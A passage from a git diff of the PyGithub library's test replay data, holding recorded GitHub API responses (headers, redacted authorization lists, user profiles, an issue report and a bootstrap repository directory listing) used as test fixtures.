format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-remaining', '55'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '60'), ('cache-control', ''), ('date', 'Tue, 29 Jan 2013 18:19:32 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Not Found"} - diff --git a/tests/ReplayData/Issue134.testGetAuthorizationsSucceedsWhenAutenticatedThroughLoginPassword.txt b/tests/ReplayData/Issue134.testGetAuthorizationsSucceedsWhenAutenticatedThroughLoginPassword.txt index bbda83c7e6..0249a3751d 100644 --- a/tests/ReplayData/Issue134.testGetAuthorizationsSucceedsWhenAutenticatedThroughLoginPassword.txt +++ b/tests/ReplayData/Issue134.testGetAuthorizationsSucceedsWhenAutenticatedThroughLoginPassword.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('content-length', '1930'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4928'), ('server', 'GitHub.com'), ('last-modified', 'Tue, 29 Jan 2013 17:36:52 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1ee9c020e28a8e60c0ed7eee863a79fc"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Tue, 29 Jan 2013 18:19:33 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"token":"private_token_removed","url":"https://api.github.com/authorizations/619306","updated_at":"2012-09-03T08:35:36Z","scopes":[],"created_at":"2012-09-02T15:30:23Z","app":{"url":"http://upverter.com","name":"Upverter"},"note":null,"id":619306,"note_url":null},{"token":"private_token_removed","url":"https://api.github.com/authorizations/648494","updated_at":"2013-01-29T17:36:52Z","scopes":["public_repo","user:email"],"created_at":"2012-09-16T07:13:01Z","app":{"url":"https://travis-ci.org","name":"Travis"},"note":null,"id":648494,"note_url":null},{"token":"private_token_removed","url":"https://api.github.com/authorizations/651653","updated_at":"2012-09-17T21:05:19Z","scopes":["user","repo","gists","delete_repo"],"created_at":"2012-09-17T21:05:19Z","app":{"url":"https://github.com/CMB/cligh","name":"cligh (API)"},"note":"cligh","id":651653,"note_url":"https://github.com/CMB/cligh"},{"token":"private_token_removed","url":"https://api.github.com/authorizations/816763","updated_at":"2012-12-19T09:22:09Z","scopes":[],"created_at":"2012-11-15T17:47:48Z","app":{"url":"https://coderwall.com","name":"coderwall.com"},"note":null,"id":816763,"note_url":null},{"token":"private_token_removed","url":"https://api.github.com/authorizations/974947","updated_at":"2012-12-19T09:17:20Z","scopes":["public_repo"],"created_at":"2012-12-19T09:15:32Z","app":{"url":"http://geekli.st/","name":"Geeklist, Inc."},"note":null,"id":974947,"note_url":null},{"token":"private_token_removed","url":"https://api.github.com/authorizations/1348532","updated_at":"2013-01-27T11:51:21Z","scopes":["repo","user","gist"],"created_at":"2013-01-27T11:51:21Z","app":{"url":"https://github.com/github/android","name":"GitHub Android App (API)"},"note":"GitHub Android App","id":1348532,"note_url":"https://github.com/github/android"}] - diff --git a/tests/ReplayData/Issue134.testGetOAuthScopesFromHeader.txt b/tests/ReplayData/Issue134.testGetOAuthScopesFromHeader.txt index 5a14176434..aba0d100a8 100644 --- a/tests/ReplayData/Issue134.testGetOAuthScopesFromHeader.txt +++ b/tests/ReplayData/Issue134.testGetOAuthScopesFromHeader.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '1464'), ('server', 'GitHub.com'), ('last-modified', 'Tue, 05 Feb 2013 18:44:48 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"9257360a3470aac247f722352581abb1"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Tue, 05 Feb 2013 22:57:03 GMT'), ('x-oauth-scopes', 'repo, user, gist'), ('content-type', 'application/json; charset=utf-8'), ('x-accepted-oauth-scopes', 'user:follow, user:email, user')] {"public_repos":21,"type":"User","repos_url":"https://api.github.com/users/jacquev6/repos","followers_url":"https://api.github.com/users/jacquev6/followers","url":"https://api.github.com/users/jacquev6","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","following_url":"https://api.github.com/users/jacquev6/following","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","total_private_repos":4,"following":37,"html_url":"https://github.com/jacquev6","created_at":"2010-07-09T06:10:06Z","collaborators":1,"location":"Paris, France","received_events_url":"https://api.github.com/users/jacquev6/received_events","owned_private_repos":4,"followers":22,"organizations_url":"https://api.github.com/users/jacquev6/orgs","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","email":"vincent@vincent-jacques.net","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","disk_usage":13360,"public_gists":2,"name":"Vincent Jacques","blog":"http://vincent-jacques.net","hireable":false,"plan":{"collaborators":1,"space":614400,"name":"micro","private_repos":5},"starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","id":327146,"login":"jacquev6","private_gists":5,"updated_at":"2013-02-05T18:44:48Z","company":"Criteo","bio":""} - diff --git a/tests/ReplayData/Issue139.setUp.txt b/tests/ReplayData/Issue139.setUp.txt index 10a97fef33..ceee1b17bc 100644 --- a/tests/ReplayData/Issue139.setUp.txt +++ b/tests/ReplayData/Issue139.setUp.txt @@ -30,4 +30,3 @@ None 200 [('status', '200 OK'), ('content-length', '4824'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4992'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 08 Feb 2013 07:13:44 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4194b45d4744a28a5b6393ef05bd3bbc"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Fri, 08 Feb 2013 07:27:50 GMT'), ('content-type', 'application/json; charset=utf-8')] {"closed_by":null,"events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/139/events","created_at":"2013-02-07T22:12:31Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/139","body":"I noticed that calls to a user object (e.g. user.email, user.location etc) caused multiple calls to GitHub. Looking at GithubObject.py I see several references to __completed and one to _completed (single underscore) on line 72. Changing line 72 to use a double underscore removed the repeated calls to Github.\r\n\r\nI tried to run your tests but can't figure out how to do so? I'd have left you a pull request if so. I tried \"python -m unittest discover\" and also just running the files, I'm not familiar with the format you've used. I'm happy to run with logs etc if that's useful (some guidance on how to run the tests would be super helpful too). Thanks, Ian.","user":{"type":"User","events_url":"https://api.github.com/users/ianozsvald/events{/privacy}","followers_url":"https://api.github.com/users/ianozsvald/followers","subscriptions_url":"https://api.github.com/users/ianozsvald/subscriptions","gists_url":"https://api.github.com/users/ianozsvald/gists{/gist_id}","following_url":"https://api.github.com/users/ianozsvald/following","url":"https://api.github.com/users/ianozsvald","avatar_url":"https://secure.gravatar.com/avatar/3d644406158b4d440111903db1f62622?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","received_events_url":"https://api.github.com/users/ianozsvald/received_events","gravatar_id":"3d644406158b4d440111903db1f62622","organizations_url":"https://api.github.com/users/ianozsvald/orgs","starred_url":"https://api.github.com/users/ianozsvald/starred{/owner}{/repo}","login":"ianozsvald","id":273210,"repos_url":"https://api.github.com/users/ianozsvald/repos"},"comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/139/comments","closed_at":null,"milestone":{"due_on":null,"created_at":"2013-02-07T18:19:05Z","url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/21","open_issues":3,"description":"","creator":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","followers_url":"https://api.github.com/users/jacquev6/followers","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","following_url":"https://api.github.com/users/jacquev6/following","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","received_events_url":"https://api.github.com/users/jacquev6/received_events","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","id":327146,"repos_url":"https://api.github.com/users/jacquev6/repos"},"closed_issues":0,"state":"open","title":"Version 1.11.1","number":21,"updated_at":"2013-02-08T07:11:03Z","id":262264,"labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/21/labels"},"state":"open","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"title":"Typo in GithubObject \"self._completed\" -> \"self.__completed\"?","number":139,"html_url":"https://github.com/jacquev6/PyGithub/issues/139","pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"updated_at":"2013-02-08T07:13:44Z","id":10758585,"labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/139/labels{/name}","comments":1,"assignee":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","followers_url":"https://api.github.com/users/jacquev6/followers","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","following_url":"https://api.github.com/users/jacquev6/following","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","received_events_url":"https://api.github.com/users/jacquev6/received_events","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","id":327146,"repos_url":"https://api.github.com/users/jacquev6/repos"}} - diff --git a/tests/ReplayData/Issue139.testCompletion.txt b/tests/ReplayData/Issue139.testCompletion.txt index 76c7550db4..d281418743 100644 --- a/tests/ReplayData/Issue139.testCompletion.txt +++ b/tests/ReplayData/Issue139.testCompletion.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '1278'), ('server', 'GitHub.com'), ('last-modified', 'Thu, 07 Feb 2013 22:12:31 GMT'), ('connection', 'keep-alive'), ('etag', '"c7e39237717a6e60232f1dde7c4dcb73"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 08 Feb 2013 07:27:51 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","public_repos":26,"company":"Mor Consulting Ltd","events_url":"https://api.github.com/users/ianozsvald/events{/privacy}","followers_url":"https://api.github.com/users/ianozsvald/followers","following":4,"created_at":"2010-05-11T10:22:02Z","hireable":true,"subscriptions_url":"https://api.github.com/users/ianozsvald/subscriptions","gists_url":"https://api.github.com/users/ianozsvald/gists{/gist_id}","following_url":"https://api.github.com/users/ianozsvald/following","url":"https://api.github.com/users/ianozsvald","html_url":"https://github.com/ianozsvald","location":"London, UK","bio":null,"starred_url":"https://api.github.com/users/ianozsvald/starred{/owner}{/repo}","avatar_url":"https://secure.gravatar.com/avatar/3d644406158b4d440111903db1f62622?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","followers":45,"email":null,"gravatar_id":"3d644406158b4d440111903db1f62622","repos_url":"https://api.github.com/users/ianozsvald/repos","organizations_url":"https://api.github.com/users/ianozsvald/orgs","public_gists":2,"name":"Ian Ozsvald","login":"ianozsvald","updated_at":"2013-02-07T22:12:31Z","blog":"ianozsvald.com","received_events_url":"https://api.github.com/users/ianozsvald/received_events","id":273210} - diff --git a/tests/ReplayData/Issue140.setUp.txt b/tests/ReplayData/Issue140.setUp.txt index 6114fef60f..b62beea710 100644 --- a/tests/ReplayData/Issue140.setUp.txt +++ b/tests/ReplayData/Issue140.setUp.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4977'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '5618'), ('server', 'GitHub.com'), ('last-modified', 'Sat, 16 Feb 2013 17:39:19 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1bae4e11b2e038d9086f79ccf6828879"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sat, 16 Feb 2013 17:59:00 GMT'), ('content-type', 'application/json; charset=utf-8')] {"id":2126244,"name":"bootstrap","full_name":"twitter/bootstrap","owner":{"login":"twitter","id":50278,"avatar_url":"https://secure.gravatar.com/avatar/2f4a8254d032a8ec5e4c48d461e54fcc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","gravatar_id":"2f4a8254d032a8ec5e4c48d461e54fcc","url":"https://api.github.com/users/twitter","followers_url":"https://api.github.com/users/twitter/followers","following_url":"https://api.github.com/users/twitter/following","gists_url":"https://api.github.com/users/twitter/gists{/gist_id}","starred_url":"https://api.github.com/users/twitter/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/twitter/subscriptions","organizations_url":"https://api.github.com/users/twitter/orgs","repos_url":"https://api.github.com/users/twitter/repos","events_url":"https://api.github.com/users/twitter/events{/privacy}","received_events_url":"https://api.github.com/users/twitter/received_events","type":"Organization"},"private":false,"html_url":"https://github.com/twitter/bootstrap","description":"Sleek, intuitive, and powerful front-end framework for faster and easier web development.","fork":false,"url":"https://api.github.com/repos/twitter/bootstrap","forks_url":"https://api.github.com/repos/twitter/bootstrap/forks","keys_url":"https://api.github.com/repos/twitter/bootstrap/keys{/key_id}","collaborators_url":"https://api.github.com/repos/twitter/bootstrap/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/twitter/bootstrap/teams","hooks_url":"https://api.github.com/repos/twitter/bootstrap/hooks","issue_events_url":"https://api.github.com/repos/twitter/bootstrap/issues/events{/number}","events_url":"https://api.github.com/repos/twitter/bootstrap/events","assignees_url":"https://api.github.com/repos/twitter/bootstrap/assignees{/user}","branches_url":"https://api.github.com/repos/twitter/bootstrap/branches{/branch}","tags_url":"https://api.github.com/repos/twitter/bootstrap/tags{/tag}","blobs_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/twitter/bootstrap/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/twitter/bootstrap/git/refs{/sha}","trees_url":"https://api.github.com/repos/twitter/bootstrap/git/trees{/sha}","statuses_url":"https://api.github.com/repos/twitter/bootstrap/statuses/{sha}","languages_url":"https://api.github.com/repos/twitter/bootstrap/languages","stargazers_url":"https://api.github.com/repos/twitter/bootstrap/stargazers","contributors_url":"https://api.github.com/repos/twitter/bootstrap/contributors","subscribers_url":"https://api.github.com/repos/twitter/bootstrap/subscribers","subscription_url":"https://api.github.com/repos/twitter/bootstrap/subscription","commits_url":"https://api.github.com/repos/twitter/bootstrap/commits{/sha}","git_commits_url":"https://api.github.com/repos/twitter/bootstrap/git/commits{/sha}","comments_url":"https://api.github.com/repos/twitter/bootstrap/comments{/number}","issue_comment_url":"https://api.github.com/repos/twitter/bootstrap/issues/comments/{number}","contents_url":"https://api.github.com/repos/twitter/bootstrap/contents/{+path}","compare_url":"https://api.github.com/repos/twitter/bootstrap/compare/{base}...{head}","merges_url":"https://api.github.com/repos/twitter/bootstrap/merges","archive_url":"https://api.github.com/repos/twitter/bootstrap/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/twitter/bootstrap/downloads","issues_url":"https://api.github.com/repos/twitter/bootstrap/issues{/number}","pulls_url":"https://api.github.com/repos/twitter/bootstrap/pulls{/number}","milestones_url":"https://api.github.com/repos/twitter/bootstrap/milestones{/number}","notifications_url":"https://api.github.com/repos/twitter/bootstrap/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/twitter/bootstrap/labels{/name}","created_at":"2011-07-29T21:19:00Z","updated_at":"2013-02-16T17:39:19Z","pushed_at":"2013-02-16T10:49:39Z","git_url":"git://github.com/twitter/bootstrap.git","ssh_url":"git@github.com:twitter/bootstrap.git","clone_url":"https://github.com/twitter/bootstrap.git","svn_url":"https://github.com/twitter/bootstrap","homepage":"http://twitter.github.com/bootstrap","size":2524,"watchers_count":44894,"language":"JavaScript","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":12535,"mirror_url":null,"open_issues_count":56,"forks":12535,"open_issues":56,"watchers":44894,"master_branch":"master","default_branch":"master","permissions":{"admin":false,"push":false,"pull":true},"network_count":12535,"organization":{"login":"twitter","id":50278,"avatar_url":"https://secure.gravatar.com/avatar/2f4a8254d032a8ec5e4c48d461e54fcc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","gravatar_id":"2f4a8254d032a8ec5e4c48d461e54fcc","url":"https://api.github.com/users/twitter","followers_url":"https://api.github.com/users/twitter/followers","following_url":"https://api.github.com/users/twitter/following","gists_url":"https://api.github.com/users/twitter/gists{/gist_id}","starred_url":"https://api.github.com/users/twitter/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/twitter/subscriptions","organizations_url":"https://api.github.com/users/twitter/orgs","repos_url":"https://api.github.com/users/twitter/repos","events_url":"https://api.github.com/users/twitter/events{/privacy}","received_events_url":"https://api.github.com/users/twitter/received_events","type":"Organization"}} - diff --git a/tests/ReplayData/Issue140.testGetDirContents.txt b/tests/ReplayData/Issue140.testGetDirContents.txt index 0999c57f95..dd4a4b4c29 100644 --- a/tests/ReplayData/Issue140.testGetDirContents.txt +++ b/tests/ReplayData/Issue140.testGetDirContents.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '10514'), ('server', 'GitHub.com'), ('last-modified', 'Sat, 16 Feb 2013 17:39:19 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1bae4e11b2e038d9086f79ccf6828879"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sat, 16 Feb 2013 17:40:25 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"sha":"e0722690bd73b3195d87577aab3bba151a85f7e0","size":232,"name":".jshintrc","path":"js/.jshintrc","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/.jshintrc","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/e0722690bd73b3195d87577aab3bba151a85f7e0","html_url":"https://github.com/twitter/bootstrap/blob/master/js/.jshintrc","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/.jshintrc","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/e0722690bd73b3195d87577aab3bba151a85f7e0","html":"https://github.com/twitter/bootstrap/blob/master/js/.jshintrc"}},{"sha":"7595fdb06771c324e1c3e0a166fdeafa1933e0f5","size":3483,"name":"bootstrap-affix.js","path":"js/bootstrap-affix.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-affix.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7595fdb06771c324e1c3e0a166fdeafa1933e0f5","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-affix.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-affix.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7595fdb06771c324e1c3e0a166fdeafa1933e0f5","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-affix.js"}},{"sha":"b5627984e4ca3b49ae63943aa9f0204c266c65af","size":2524,"name":"bootstrap-alert.js","path":"js/bootstrap-alert.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-alert.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/b5627984e4ca3b49ae63943aa9f0204c266c65af","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-alert.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-alert.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/b5627984e4ca3b49ae63943aa9f0204c266c65af","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-alert.js"}},{"sha":"045927b6ba732ada14dbf5c0ec296623b37a5121","size":2841,"name":"bootstrap-button.js","path":"js/bootstrap-button.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-button.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/045927b6ba732ada14dbf5c0ec296623b37a5121","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-button.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-button.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/045927b6ba732ada14dbf5c0ec296623b37a5121","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-button.js"}},{"sha":"604552012b170bc20579c13d724883c253dd152a","size":6053,"name":"bootstrap-carousel.js","path":"js/bootstrap-carousel.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-carousel.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/604552012b170bc20579c13d724883c253dd152a","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-carousel.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-carousel.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/604552012b170bc20579c13d724883c253dd152a","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-carousel.js"}},{"sha":"7bbad8e43aba9a778fa54650237f7acb96e783c9","size":4735,"name":"bootstrap-collapse.js","path":"js/bootstrap-collapse.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-collapse.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7bbad8e43aba9a778fa54650237f7acb96e783c9","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-collapse.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-collapse.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7bbad8e43aba9a778fa54650237f7acb96e783c9","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-collapse.js"}},{"sha":"ec86cf0d709577fc840a64123993dc69c6ae292a","size":4198,"name":"bootstrap-dropdown.js","path":"js/bootstrap-dropdown.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-dropdown.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/ec86cf0d709577fc840a64123993dc69c6ae292a","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-dropdown.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-dropdown.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/ec86cf0d709577fc840a64123993dc69c6ae292a","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-dropdown.js"}},{"sha":"b5ffa95b3b7639607a279d06b3e5e1c584acb5b4","size":6638,"name":"bootstrap-modal.js","path":"js/bootstrap-modal.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-modal.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/b5ffa95b3b7639607a279d06b3e5e1c584acb5b4","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-modal.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-modal.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/b5ffa95b3b7639607a279d06b3e5e1c584acb5b4","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-modal.js"}},{"sha":"0e7774bf668c75a7b93989a1146fbb8822d5489d","size":3115,"name":"bootstrap-popover.js","path":"js/bootstrap-popover.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-popover.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/0e7774bf668c75a7b93989a1146fbb8822d5489d","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-popover.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-popover.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/0e7774bf668c75a7b93989a1146fbb8822d5489d","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-popover.js"}},{"sha":"dff9a3b37518c2ccf6f0fbe23b327860cb6fee08","size":4655,"name":"bootstrap-scrollspy.js","path":"js/bootstrap-scrollspy.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-scrollspy.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/dff9a3b37518c2ccf6f0fbe23b327860cb6fee08","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-scrollspy.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-scrollspy.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/dff9a3b37518c2ccf6f0fbe23b327860cb6fee08","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-scrollspy.js"}},{"sha":"bd77eb5c358074801f20de0f46b1e2e9d1b1247b","size":3496,"name":"bootstrap-tab.js","path":"js/bootstrap-tab.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-tab.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/bd77eb5c358074801f20de0f46b1e2e9d1b1247b","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-tab.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-tab.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/bd77eb5c358074801f20de0f46b1e2e9d1b1247b","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-tab.js"}},{"sha":"981319077e9bdb4ea0dcbee50dfe5715a54b4c51","size":9694,"name":"bootstrap-tooltip.js","path":"js/bootstrap-tooltip.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-tooltip.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/981319077e9bdb4ea0dcbee50dfe5715a54b4c51","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-tooltip.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-tooltip.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/981319077e9bdb4ea0dcbee50dfe5715a54b4c51","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-tooltip.js"}},{"sha":"64f275778094043dc871f94ceacadbe7f74f9734","size":1756,"name":"bootstrap-transition.js","path":"js/bootstrap-transition.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-transition.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/64f275778094043dc871f94ceacadbe7f74f9734","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-transition.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-transition.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/64f275778094043dc871f94ceacadbe7f74f9734","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-transition.js"}},{"sha":"960f2af85a7ced44c4e3190255ee3092c3665bbb","size":8320,"name":"bootstrap-typeahead.js","path":"js/bootstrap-typeahead.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-typeahead.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/960f2af85a7ced44c4e3190255ee3092c3665bbb","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-typeahead.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-typeahead.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/960f2af85a7ced44c4e3190255ee3092c3665bbb","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-typeahead.js"}},{"sha":"f1ad7515dc05d0e2bc60f7c292e4f2134dcd91cf","size":0,"name":"tests","path":"js/tests","type":"dir","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/tests","git_url":"https://api.github.com/repos/twitter/bootstrap/git/trees/f1ad7515dc05d0e2bc60f7c292e4f2134dcd91cf","html_url":"https://github.com/twitter/bootstrap/tree/master/js/tests","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/tests","git":"https://api.github.com/repos/twitter/bootstrap/git/trees/f1ad7515dc05d0e2bc60f7c292e4f2134dcd91cf","html":"https://github.com/twitter/bootstrap/tree/master/js/tests"}}] - diff --git a/tests/ReplayData/Issue140.testGetDirContentsThenLazyCompletionOfFile.txt b/tests/ReplayData/Issue140.testGetDirContentsThenLazyCompletionOfFile.txt index 